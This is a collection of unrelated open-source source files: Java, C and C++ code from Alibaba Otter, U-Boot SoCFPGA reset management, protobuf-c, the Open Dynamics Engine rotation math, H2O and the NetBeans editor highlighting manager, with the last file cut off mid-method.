<gh_stars>1000+ /* * Copyright (C) 2010-2101 Alibaba Group Holding Limited. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.alibaba.otter.manager.web.home.module.screen; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.annotation.Resource; import com.alibaba.citrus.turbine.Context; import com.alibaba.citrus.turbine.dataresolver.Param; import com.alibaba.otter.canal.instance.manager.model.Canal; import com.alibaba.otter.manager.biz.config.autokeeper.AutoKeeperClusterService; import com.alibaba.otter.manager.biz.config.canal.CanalService; import com.alibaba.otter.manager.biz.config.channel.ChannelService; import com.alibaba.otter.manager.biz.config.pipeline.PipelineService; import com.alibaba.otter.shared.common.model.autokeeper.AutoKeeperCluster; import com.alibaba.otter.shared.common.model.config.channel.Channel; import com.alibaba.otter.shared.common.model.config.pipeline.Pipeline; public class CanalInfo { @Resource(name = "canalService") private CanalService canalService; @Resource(name = "autoKeeperClusterService") private AutoKeeperClusterService autoKeeperClusterService; @Resource(name = "pipelineService") private PipelineService pipelineService; @Resource(name = "channelService") private ChannelService channelService; public void execute(@Param("canalId") Long canalId, Context context) throws Exception { Canal canal = canalService.findById(canalId); AutoKeeperCluster zkCluster = autoKeeperClusterService.findAutoKeeperClusterById(canal.getCanalParameter() .getZkClusterId()); List<Pipeline> pipelines = pipelineService.listByDestinationWithoutOther(canal.getName()); List<Long> channelIds = new ArrayList<Long>(); for (Pipeline pipeline : pipelines) { channelIds.add(pipeline.getChannelId()); } List<Channel> channels = channelService.listOnlyChannels(channelIds.toArray(new Long[channelIds.size()])); Map<Long, Channel> channelMap = new HashMap<Long, Channel>(); for (Channel channel : channels) { channelMap.put(channel.getId(), channel); } context.put("canal", canal); context.put("pipelines", pipelines); context.put("channelMap", channelMap); context.put("zkCluster", zkCluster); } }
1,023
521
#ifndef _XAA_WRAPPER_H # define _XAA_WRAPPER_H typedef void (*SyncFunc)(ScreenPtr); Bool xaaSetupWrapper(ScreenPtr pScreen, XAAInfoRecPtr infoPtr, int depth, SyncFunc *func); #endif
84
1,144
// SPDX-License-Identifier: GPL-2.0 /* * Copyright (C) 2016-2018 Intel Corporation <www.intel.com> * */ #include <common.h> #include <asm/io.h> #include <asm/arch/reset_manager.h> #include <asm/arch/system_manager.h> #include <dt-bindings/reset/altr,rst-mgr-s10.h> DECLARE_GLOBAL_DATA_PTR; static const struct socfpga_reset_manager *reset_manager_base = (void *)SOCFPGA_RSTMGR_ADDRESS; static const struct socfpga_system_manager *system_manager_base = (void *)SOCFPGA_SYSMGR_ADDRESS; /* Assert or de-assert SoCFPGA reset manager reset. */ void socfpga_per_reset(u32 reset, int set) { const void *reg; if (RSTMGR_BANK(reset) == 0) reg = &reset_manager_base->mpumodrst; else if (RSTMGR_BANK(reset) == 1) reg = &reset_manager_base->per0modrst; else if (RSTMGR_BANK(reset) == 2) reg = &reset_manager_base->per1modrst; else if (RSTMGR_BANK(reset) == 3) reg = &reset_manager_base->brgmodrst; else /* Invalid reset register, do nothing */ return; if (set) setbits_le32(reg, 1 << RSTMGR_RESET(reset)); else clrbits_le32(reg, 1 << RSTMGR_RESET(reset)); } /* * Assert reset on every peripheral but L4WD0. * Watchdog must be kept intact to prevent glitches * and/or hangs. */ void socfpga_per_reset_all(void) { const u32 l4wd0 = 1 << RSTMGR_RESET(SOCFPGA_RESET(L4WD0)); /* disable all except OCP and l4wd0. OCP disable later */ writel(~(l4wd0 | RSTMGR_PER0MODRST_OCP_MASK), &reset_manager_base->per0modrst); writel(~l4wd0, &reset_manager_base->per0modrst); writel(0xffffffff, &reset_manager_base->per1modrst); } void socfpga_bridges_reset(int enable) { if (enable) { /* clear idle request to all bridges */ setbits_le32(&system_manager_base->noc_idlereq_clr, ~0); /* Release bridges from reset state per handoff value */ clrbits_le32(&reset_manager_base->brgmodrst, ~0); /* Poll until all idleack to 0 */ while (readl(&system_manager_base->noc_idleack)) ; } else { /* set idle request to all bridges */ writel(~0, &system_manager_base->noc_idlereq_set); /* Enable the NOC timeout */ writel(1, &system_manager_base->noc_timeout); /* Poll until all idleack to 1 */ while ((readl(&system_manager_base->noc_idleack) ^ (SYSMGR_NOC_H2F_MSK | SYSMGR_NOC_LWH2F_MSK))) ; /* Poll until all idlestatus to 1 */ while ((readl(&system_manager_base->noc_idlestatus) ^ (SYSMGR_NOC_H2F_MSK | SYSMGR_NOC_LWH2F_MSK))) ; /* Put all bridges (except NOR DDR scheduler) into reset */ setbits_le32(&reset_manager_base->brgmodrst, ~RSTMGR_BRGMODRST_DDRSCH_MASK); /* Disable NOC timeout */ writel(0, &system_manager_base->noc_timeout); } } /* of_reset_id: emac reset id * state: 0 - disable reset, !0 - enable reset */ void socfpga_emac_manage_reset(const unsigned int of_reset_id, u32 state) { u32 reset_emac; u32 reset_emacocp; /* hardcode this now */ switch (of_reset_id) { case EMAC0_RESET: reset_emac = SOCFPGA_RESET(EMAC0); reset_emacocp = SOCFPGA_RESET(EMAC0_OCP); break; case EMAC1_RESET: reset_emac = SOCFPGA_RESET(EMAC1); reset_emacocp = SOCFPGA_RESET(EMAC1_OCP); break; case EMAC2_RESET: reset_emac = SOCFPGA_RESET(EMAC2); reset_emacocp = SOCFPGA_RESET(EMAC2_OCP); break; default: printf("GMAC: Invalid reset ID (%i)!\n", of_reset_id); hang(); break; } /* Reset ECC OCP first */ socfpga_per_reset(reset_emacocp, state); /* Release the EMAC controller from reset */ socfpga_per_reset(reset_emac, state); } /* * Release peripherals from reset based on handoff */ void reset_deassert_peripherals_handoff(void) { writel(0, &reset_manager_base->per1modrst); /* Enable OCP first */ writel(~RSTMGR_PER0MODRST_OCP_MASK, &reset_manager_base->per0modrst); writel(0, &reset_manager_base->per0modrst); }
1,615
2,701
<gh_stars>1000+ // Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // http://code.google.com/p/protobuf/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // Author: <EMAIL> (<NAME>) // Based on original Protocol Buffers design by // <NAME>, <NAME>, and others. // Copyright (c) 2008-2013, <NAME>. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // Modified to implement C code by <NAME>. #ifndef GOOGLE_PROTOBUF_COMPILER_C_HELPERS_H__ #define GOOGLE_PROTOBUF_COMPILER_C_HELPERS_H__ #include <string> #include <vector> #include <sstream> #include <google/protobuf/descriptor.h> #include <google/protobuf/descriptor.pb.h> #include <google/protobuf/io/printer.h> namespace google { namespace protobuf { namespace compiler { namespace c { // Returns the non-nested type name for the given type. If "qualified" is // true, prefix the type with the full namespace. For example, if you had: // package foo.bar; // message Baz { message Qux {} } // Then the qualified ClassName for Qux would be: // Foo__Bar__Baz_Qux // While the non-qualified version would be: // Baz_Qux string ClassName(const Descriptor* descriptor, bool qualified); string ClassName(const EnumDescriptor* enum_descriptor, bool qualified); // --- Borrowed from stubs. --- template <typename T> string SimpleItoa(T n) { std::stringstream stream; stream << n; return stream.str(); } string SimpleFtoa(float f); string SimpleDtoa(double f); void SplitStringUsing(const string &str, const char *delim, std::vector<string> *out); string CEscape(const string& src); string StringReplace(const string& s, const string& oldsub, const string& newsub, bool replace_all); inline bool HasSuffixString(const string& str, const string& suffix) { return str.size() >= suffix.size() && str.compare(str.size() - suffix.size(), suffix.size(), suffix) == 0; } inline string StripSuffixString(const string& str, const string& suffix) { if (HasSuffixString(str, suffix)) { return str.substr(0, str.size() - suffix.size()); } else { return str; } } char* FastHexToBuffer(int i, char* buffer); // Get the (unqualified) name that should be used for this field in C code. // The name is coerced to lower-case to emulate proto1 behavior. People // should be using lowercase-with-underscores style for proto field names // anyway, so normally this just returns field->name(). string FieldName(const FieldDescriptor* field); // Get macro string for deprecated field string FieldDeprecated(const FieldDescriptor* field); // Returns the scope where the field was defined (for extensions, this is // different from the message type to which the field applies). inline const Descriptor* FieldScope(const FieldDescriptor* field) { return field->is_extension() ? field->extension_scope() : field->containing_type(); } // convert a CamelCase class name into an all uppercase affair // with underscores separating words, e.g. MyClass becomes MY_CLASS. string CamelToUpper(const string &class_name); string CamelToLower(const string &class_name); // lowercased, underscored name to camel case string ToCamel(const string &name); // lowercase the string string ToLower(const string &class_name); string ToUpper(const string &class_name); // full_name() to lowercase with underscores string FullNameToLower(const string &full_name); string FullNameToUpper(const string &full_name); // full_name() to c-typename (with underscores for packages, otherwise camel case) string FullNameToC(const string &class_name); // Splits, indents, formats, and prints comment lines void PrintComment (io::Printer* printer, string comment); // make a string of spaces as long as input string ConvertToSpaces(const string &input); // Strips ".proto" or ".protodevel" from the end of a filename. string StripProto(const string& filename); // Get the C++ type name for a primitive type (e.g. "double", "::google::protobuf::int32", etc.). // Note: non-built-in type names will be qualified, meaning they will start // with a ::. If you are using the type as a template parameter, you will // need to insure there is a space between the < and the ::, because the // ridiculous C++ standard defines "<:" to be a synonym for "[". const char* PrimitiveTypeName(FieldDescriptor::CppType type); // Get the declared type name in CamelCase format, as is used e.g. for the // methods of WireFormat. For example, TYPE_INT32 becomes "Int32". const char* DeclaredTypeMethodName(FieldDescriptor::Type type); // Convert a file name into a valid identifier. string FilenameIdentifier(const string& filename); // Return the name of the BuildDescriptors() function for a given file. string GlobalBuildDescriptorsName(const string& filename); // return 'required', 'optional', or 'repeated' string GetLabelName(FieldDescriptor::Label label); // write IntRanges entries for a bunch of sorted values. // returns the number of ranges there are to bsearch. unsigned WriteIntRanges(io::Printer* printer, int n_values, const int *values, const string &name); struct NameIndex { unsigned index; const char *name; }; int compare_name_indices_by_name(const void*, const void*); // Return the syntax version of the file containing the field. // This wrapper is needed to be able to compile against protobuf2. inline int FieldSyntax(const FieldDescriptor* field) { #ifdef HAVE_PROTO3 return field->file()->syntax() == FileDescriptor::SYNTAX_PROTO3 ? 3 : 2; #else return 2; #endif } } // namespace c } // namespace compiler } // namespace protobuf } // namespace google #endif // GOOGLE_PROTOBUF_COMPILER_C_HELPERS_H__
2,452
317
<reponame>Benefit-Zebra/ballistica /************************************************************************* * * * Open Dynamics Engine, Copyright (C) 2001,2002 <NAME>. * * All rights reserved. Email: <EMAIL> Web: www.q12.org * * * * This library is free software; you can redistribute it and/or * * modify it under the terms of EITHER: * * (1) The GNU Lesser General Public License as published by the Free * * Software Foundation; either version 2.1 of the License, or (at * * your option) any later version. The text of the GNU Lesser * * General Public License is included with this library in the * * file LICENSE.TXT. * * (2) The BSD-style license that is included with this library in * * the file LICENSE-BSD.TXT. * * * * This library is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the files * * LICENSE.TXT and LICENSE-BSD.TXT for more details. * * * *************************************************************************/ /* quaternions have the format: (s,vx,vy,vz) where (vx,vy,vz) is the "rotation axis" and s is the "rotation angle". */ #include "ode/ode_rotation.h" #include "ode/ode_math.h" #define _R(i,j) R[(i)*4+(j)] #define SET_3x3_IDENTITY \ _R(0,0) = REAL(1.0); \ _R(0,1) = REAL(0.0); \ _R(0,2) = REAL(0.0); \ _R(0,3) = REAL(0.0); \ _R(1,0) = REAL(0.0); \ _R(1,1) = REAL(1.0); \ _R(1,2) = REAL(0.0); \ _R(1,3) = REAL(0.0); \ _R(2,0) = REAL(0.0); \ _R(2,1) = REAL(0.0); \ _R(2,2) = REAL(1.0); \ _R(2,3) = REAL(0.0); void dRSetIdentity (dMatrix3 R) { dAASSERT (R); SET_3x3_IDENTITY; } void dRFromAxisAndAngle (dMatrix3 R, dReal ax, dReal ay, dReal az, dReal angle) { dAASSERT (R); dQuaternion q; dQFromAxisAndAngle (q,ax,ay,az,angle); dQtoR (q,R); } void dRFromEulerAngles (dMatrix3 R, dReal phi, dReal theta, dReal psi) { dReal sphi,cphi,stheta,ctheta,spsi,cpsi; dAASSERT (R); sphi = dSin(phi); cphi = dCos(phi); stheta = dSin(theta); ctheta = dCos(theta); spsi = dSin(psi); cpsi = dCos(psi); _R(0,0) = cpsi*ctheta; _R(0,1) = spsi*ctheta; _R(0,2) =-stheta; _R(1,0) = cpsi*stheta*sphi - spsi*cphi; _R(1,1) = spsi*stheta*sphi + cpsi*cphi; _R(1,2) = ctheta*sphi; _R(2,0) = cpsi*stheta*cphi + spsi*sphi; _R(2,1) = spsi*stheta*cphi - cpsi*sphi; _R(2,2) = ctheta*cphi; } void dRFrom2Axes (dMatrix3 R, dReal ax, dReal ay, dReal az, dReal bx, dReal by, dReal bz) { dReal l,k; dAASSERT (R); l = dSqrt (ax*ax + ay*ay + az*az); if (l <= REAL(0.0)) { dDEBUGMSG ("zero length vector"); return; } l = dRecip(l); ax *= l; ay *= l; az *= l; k = ax*bx + ay*by + az*bz; bx -= k*ax; by -= k*ay; bz -= k*az; l = dSqrt (bx*bx + by*by + bz*bz); if (l <= REAL(0.0)) { dDEBUGMSG ("zero length vector"); return; } l = dRecip(l); bx *= l; by *= l; bz *= l; _R(0,0) = ax; _R(1,0) = ay; _R(2,0) = az; _R(0,1) = bx; _R(1,1) = by; _R(2,1) = bz; _R(0,2) = - by*az + ay*bz; _R(1,2) = - bz*ax + az*bx; _R(2,2) = - bx*ay + ax*by; } void dRFromZAxis (dMatrix3 R, dReal ax, dReal ay, dReal az) { dVector3 n,p,q; n[0] = ax; n[1] = ay; n[2] = az; dNormalize3 (n); dPlaneSpace (n,p,q); _R(0,0) = p[0]; _R(1,0) = p[1]; _R(2,0) = p[2]; _R(0,1) = q[0]; _R(1,1) = q[1]; _R(2,1) = q[2]; _R(0,2) = n[0]; _R(1,2) = n[1]; _R(2,2) = n[2]; } void dQSetIdentity (dQuaternion q) { dAASSERT (q); q[0] = 1; q[1] = 0; q[2] = 0; q[3] = 0; } void dQFromAxisAndAngle (dQuaternion q, dReal ax, dReal ay, dReal az, dReal angle) { dAASSERT (q); dReal l = ax*ax + ay*ay + az*az; if (l > REAL(0.0)) { angle *= REAL(0.5); q[0] = dCos (angle); l = dSin(angle) * dRecipSqrt(l); q[1] = ax*l; q[2] = ay*l; q[3] = az*l; } else { q[0] = 1; q[1] = 0; q[2] = 0; q[3] = 0; } } void dQMultiply0 (dQuaternion qa, const dQuaternion qb, const dQuaternion qc) { dAASSERT (qa && qb && qc); qa[0] = qb[0]*qc[0] - qb[1]*qc[1] - qb[2]*qc[2] - qb[3]*qc[3]; qa[1] = qb[0]*qc[1] + qb[1]*qc[0] + qb[2]*qc[3] - qb[3]*qc[2]; qa[2] = qb[0]*qc[2] + qb[2]*qc[0] + qb[3]*qc[1] - qb[1]*qc[3]; qa[3] = qb[0]*qc[3] + qb[3]*qc[0] + qb[1]*qc[2] - qb[2]*qc[1]; } void dQMultiply1 (dQuaternion qa, const dQuaternion qb, const dQuaternion qc) { dAASSERT (qa && qb && qc); qa[0] = qb[0]*qc[0] + qb[1]*qc[1] + qb[2]*qc[2] + qb[3]*qc[3]; qa[1] = qb[0]*qc[1] - qb[1]*qc[0] - qb[2]*qc[3] + qb[3]*qc[2]; qa[2] = qb[0]*qc[2] - qb[2]*qc[0] - qb[3]*qc[1] + qb[1]*qc[3]; qa[3] = qb[0]*qc[3] - qb[3]*qc[0] - qb[1]*qc[2] + qb[2]*qc[1]; } void dQMultiply2 (dQuaternion qa, const dQuaternion qb, const dQuaternion qc) { dAASSERT (qa && qb && qc); qa[0] = qb[0]*qc[0] + qb[1]*qc[1] + qb[2]*qc[2] + qb[3]*qc[3]; qa[1] = -qb[0]*qc[1] + qb[1]*qc[0] - qb[2]*qc[3] + qb[3]*qc[2]; qa[2] = -qb[0]*qc[2] + qb[2]*qc[0] - qb[3]*qc[1] + qb[1]*qc[3]; qa[3] = -qb[0]*qc[3] + qb[3]*qc[0] - qb[1]*qc[2] + qb[2]*qc[1]; } void dQMultiply3 (dQuaternion qa, const dQuaternion qb, const dQuaternion qc) { dAASSERT (qa && qb && qc); qa[0] = qb[0]*qc[0] - qb[1]*qc[1] - qb[2]*qc[2] - qb[3]*qc[3]; qa[1] = -qb[0]*qc[1] - qb[1]*qc[0] + qb[2]*qc[3] - qb[3]*qc[2]; qa[2] = -qb[0]*qc[2] - qb[2]*qc[0] + qb[3]*qc[1] - qb[1]*qc[3]; qa[3] = -qb[0]*qc[3] - qb[3]*qc[0] + qb[1]*qc[2] - qb[2]*qc[1]; } // dRfromQ(), dQfromR() and dDQfromW() are derived from equations in "An Introduction // to Physically Based Modeling: Rigid Body Simulation - 1: Unconstrained // Rigid Body Dynamics" by <NAME>, Robotics Institute, Carnegie Mellon // University, 1997. void dRfromQ (dMatrix3 R, const dQuaternion q) { dAASSERT (q && R); // q = (s,vx,vy,vz) dReal qq1 = 2*q[1]*q[1]; dReal qq2 = 2*q[2]*q[2]; dReal qq3 = 2*q[3]*q[3]; _R(0,0) = 1 - qq2 - qq3; _R(0,1) = 2*(q[1]*q[2] - q[0]*q[3]); _R(0,2) = 2*(q[1]*q[3] + q[0]*q[2]); _R(1,0) = 2*(q[1]*q[2] + q[0]*q[3]); _R(1,1) = 1 - qq1 - qq3; _R(1,2) = 2*(q[2]*q[3] - q[0]*q[1]); _R(2,0) = 2*(q[1]*q[3] - q[0]*q[2]); _R(2,1) = 2*(q[2]*q[3] + q[0]*q[1]); _R(2,2) = 1 - qq1 - qq2; } void dQfromR (dQuaternion q, const dMatrix3 R) { dAASSERT (q && R); dReal tr,s; tr = _R(0,0) + _R(1,1) + _R(2,2); if (tr >= 0) { s = dSqrt (tr + 1); q[0] = REAL(0.5) * s; s = REAL(0.5) * dRecip(s); q[1] = (_R(2,1) - _R(1,2)) * s; q[2] = (_R(0,2) - _R(2,0)) * s; q[3] = (_R(1,0) - _R(0,1)) * s; } else { // find the largest diagonal element and jump to the appropriate case if (_R(1,1) > _R(0,0)) { if (_R(2,2) > _R(1,1)) goto case_2; goto case_1; } if (_R(2,2) > _R(0,0)) goto case_2; goto case_0; case_0: s = dSqrt((_R(0,0) - (_R(1,1) + _R(2,2))) + 1); q[1] = REAL(0.5) * s; s = REAL(0.5) * dRecip(s); q[2] = (_R(0,1) + _R(1,0)) * s; q[3] = (_R(2,0) + _R(0,2)) * s; q[0] = (_R(2,1) - _R(1,2)) * s; return; case_1: s = dSqrt((_R(1,1) - (_R(2,2) + _R(0,0))) + 1); q[2] = REAL(0.5) * s; s = REAL(0.5) * dRecip(s); q[3] = (_R(1,2) + _R(2,1)) * s; q[1] = (_R(0,1) + _R(1,0)) * s; q[0] = (_R(0,2) - _R(2,0)) * s; return; case_2: s = dSqrt((_R(2,2) - (_R(0,0) + _R(1,1))) + 1); q[3] = REAL(0.5) * s; s = REAL(0.5) * dRecip(s); q[1] = (_R(2,0) + _R(0,2)) * s; q[2] = (_R(1,2) + _R(2,1)) * s; q[0] = (_R(1,0) - _R(0,1)) * s; return; } } void dDQfromW (dReal dq[4], const dVector3 w, const dQuaternion q) { dAASSERT (w && q && dq); dq[0] = REAL(0.5)*(- w[0]*q[1] - w[1]*q[2] - w[2]*q[3]); dq[1] = REAL(0.5)*( w[0]*q[0] + w[1]*q[3] - w[2]*q[2]); dq[2] = REAL(0.5)*(- w[0]*q[3] + w[1]*q[0] + w[2]*q[1]); dq[3] = REAL(0.5)*( w[0]*q[2] - w[1]*q[1] + w[2]*q[0]); }
5,089
6,098
package water.util.fp; import java.io.Serializable; /** * Represents a three-argument function * * We could as well use Google guava library, but Guava's functions are not serializable. * We need serializable functions, to be able to pass them over the cloud. * * A three-argument function, in abstract settings, is something that takes values of given type (X, Y and Z) and returns a value of a given type (T). * @see <a href="https://en.wikipedia.org/wiki/Function_(mathematics)">wikipedia</a> for details. */ public interface Function3<X, Y, Z, T> extends Serializable { T apply(X x, Y y, Z z); }
181
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.editor.lib2.highlighting; import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import java.lang.ref.Reference; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.concurrent.CopyOnWriteArrayList; import java.util.logging.Level; import java.util.logging.Logger; import java.util.regex.Pattern; import java.util.regex.PatternSyntaxException; import javax.swing.event.ChangeEvent; import javax.swing.event.ChangeListener; import javax.swing.text.Document; import javax.swing.text.JTextComponent; import org.netbeans.api.editor.mimelookup.MimeLookup; import org.netbeans.api.editor.mimelookup.MimePath; import org.netbeans.api.editor.settings.FontColorSettings; import org.netbeans.lib.editor.util.ArrayUtilities; import org.netbeans.spi.editor.highlighting.HighlightsContainer; import org.netbeans.spi.editor.highlighting.HighlightsLayer; import org.netbeans.spi.editor.highlighting.HighlightsLayerFactory; import org.netbeans.spi.editor.highlighting.ReleasableHighlightsContainer; import org.openide.ErrorManager; import org.openide.util.Lookup; import org.openide.util.LookupEvent; import org.openide.util.LookupListener; import org.openide.util.TopologicalSortException; import org.openide.util.Utilities; import org.openide.util.WeakListeners; import org.openide.util.lookup.ProxyLookup; /** * Highlighting manager maintains all the highlighting layers instances. * <br> * It divides them into two groups according to their z-order and fixedSize attributes. * Top layers that have fixedSize set to true are one group. The rest is the other group. * <br> * View hierarchy only rebuilds views if the second group of layers (bottom ones) changes. * If the top group changes the view hierarchy only triggers repaint of affected part. * * @author <NAME>, <NAME> */ public final class HighlightingManager { // -J-Dorg.netbeans.modules.editor.lib2.highlighting.HighlightingManager.level=FINE private static final Logger LOG = Logger.getLogger(HighlightingManager.class.getName()); private final Highlighting highlighting; public static synchronized HighlightingManager getInstance(JTextComponent pane) { HighlightingManager highlightingManager = (HighlightingManager) pane.getClientProperty(HighlightingManager.class); if (highlightingManager == null) { highlightingManager = new HighlightingManager(pane); pane.putClientProperty(HighlightingManager.class, highlightingManager); } return highlightingManager; } /** * Get bottom highlighting layers (according to z-order) that are generally assumed to change the metrics * and so the views must be rebuilt when these highlights get changed. * @param pane non-null pane. * @return non-null highlights container. */ public HighlightsContainer getBottomHighlights() { return highlighting.bottomHighlights(); } /** * Get top highlighting layers (they are above the bottom layers according to z-order) * that must not change the metrics and so the views do not need to be rebuilt * when these highlights get changed (the affected area just gets repainted). * @param pane non-null pane. * @return non-null highlights container. */ public HighlightsContainer getTopHighlights() { return highlighting.topHighlights(); } /** * Find highlighting layer that uses a given container. * * @param container non-null container. * @return layer that uses the container or null if none does. */ public HighlightsLayer findLayer(HighlightsContainer container) { return highlighting.findLayer(container); } /** * This is primarily for testing purposes - the resulting container is not cached. * * @param filter valid filter or null. * @return */ HighlightsContainer getHighlights(HighlightsLayerFilter filter) { return highlighting.filteredHighlights(filter); } public void addChangeListener(ChangeListener listener) { highlighting.changeListeners.add(listener); } public void removeChangeListener(ChangeListener listener) { highlighting.changeListeners.remove(listener); } /** * Called in tests to quickly replace all existing layers with a single testing container * to get controlled attribute set chunking for view hierarchy tests. * * @param testSingleContainer non-null testing container or null to return to regular behavior. */ public void testSetSingleContainer(HighlightsContainer testSingleContainer) { highlighting.testSingleContainer = testSingleContainer; highlighting.rebuildAllLayers(); } // ---------------------------------------------------------------------- // Private implementation // ---------------------------------------------------------------------- /** Creates a new instance of HighlightingManager */ private HighlightingManager(JTextComponent pane) { highlighting = new Highlighting(this, pane); } private static final class Highlighting implements PropertyChangeListener { private static final String PROP_MIME_TYPE = "mimeType"; //NOI18N private static final String PROP_DOCUMENT = "document"; //NOI18N private static final String PROP_HL_INCLUDES = "HighlightsLayerIncludes"; //NOI18N private static final String PROP_HL_EXCLUDES = "HighlightsLayerExcludes"; //NOI18N // The factories changes tracking private Lookup.Result<HighlightsLayerFactory> factories = null; private final LookupListener factoriesTracker = new LookupListener() { public @Override void resultChanged(LookupEvent ev) { rebuildAllLayers(); } }; private LookupListener weakFactoriesTracker = null; // The FontColorSettings changes tracking private Lookup.Result<FontColorSettings> settings = null; private final LookupListener settingsTracker = new LookupListener() { public @Override void resultChanged(LookupEvent ev) { // System.out.println("Settings tracker for '" + (lastKnownMimePaths == null ? "null" : lastKnownMimePaths[0].getPath()) + "'"); rebuildAllLayers(); } }; private LookupListener weakSettingsTracker = null; private final HighlightingManager manager; // For proper change firing private final JTextComponent pane; private HighlightsLayerFilter paneFilter; private Reference<Document> lastKnownDocumentRef; private MimePath [] lastKnownMimePaths = null; private boolean inRebuildAllLayers = false; private List<? extends HighlightsLayer> sortedLayers; private DirectMergeContainer bottomHighlights; private DirectMergeContainer topHighlights; List<ChangeListener> changeListeners = new CopyOnWriteArrayList<ChangeListener>(); /** * Single container for unit testing of view hierarchy. */ HighlightsContainer testSingleContainer; @SuppressWarnings("LeakingThisInConstructor") public Highlighting(HighlightingManager manager, JTextComponent pane) { this.manager = manager; this.pane = pane; updatePaneFilter(); this.pane.addPropertyChangeListener(WeakListeners.propertyChange(this, pane)); rebuildAll(); } private synchronized void updatePaneFilter() { paneFilter = new RegExpFilter(pane.getClientProperty(PROP_HL_INCLUDES), pane.getClientProperty(PROP_HL_EXCLUDES)); } synchronized HighlightsContainer bottomHighlights() { return bottomHighlights; } synchronized HighlightsContainer topHighlights() { return topHighlights; } synchronized HighlightsContainer filteredHighlights(HighlightsLayerFilter filter) { // Get the containers List<? extends HighlightsLayer> layers = (filter == null) ? sortedLayers : filter.filterLayers(sortedLayers); ArrayList<HighlightsContainer> containers = new ArrayList<HighlightsContainer>(layers.size()); for (HighlightsLayer layer : layers) { HighlightsLayerAccessor layerAccessor = HighlightingSpiPackageAccessor.get().getHighlightsLayerAccessor(layer); containers.add(layerAccessor.getContainer()); } return new DirectMergeContainer(containers.toArray(new HighlightsContainer[containers.size()]), true); } synchronized HighlightsLayer findLayer(HighlightsContainer container) { for (HighlightsLayer layer : sortedLayers) { if (HighlightingSpiPackageAccessor.get().getHighlightsLayerAccessor(layer).getContainer() == container) { return layer; } } return null; } // ---------------------------------------------------------------------- // PropertyChangeListener implementation // ---------------------------------------------------------------------- public @Override void propertyChange(PropertyChangeEvent evt) { if (evt.getPropertyName() == null || PROP_DOCUMENT.equals(evt.getPropertyName())) { updatePaneFilter(); Document doc = pane.getDocument(); if (doc != null) { doc.render(new Runnable() { @Override public void run() { rebuildAll(); } }); } } if (PROP_HL_INCLUDES.equals(evt.getPropertyName()) || PROP_HL_EXCLUDES.equals(evt.getPropertyName())) { updatePaneFilter(); rebuildAllLayers(); } } // ---------------------------------------------------------------------- // Private implementation // ---------------------------------------------------------------------- private MimePath [] getAllDocumentMimePath() 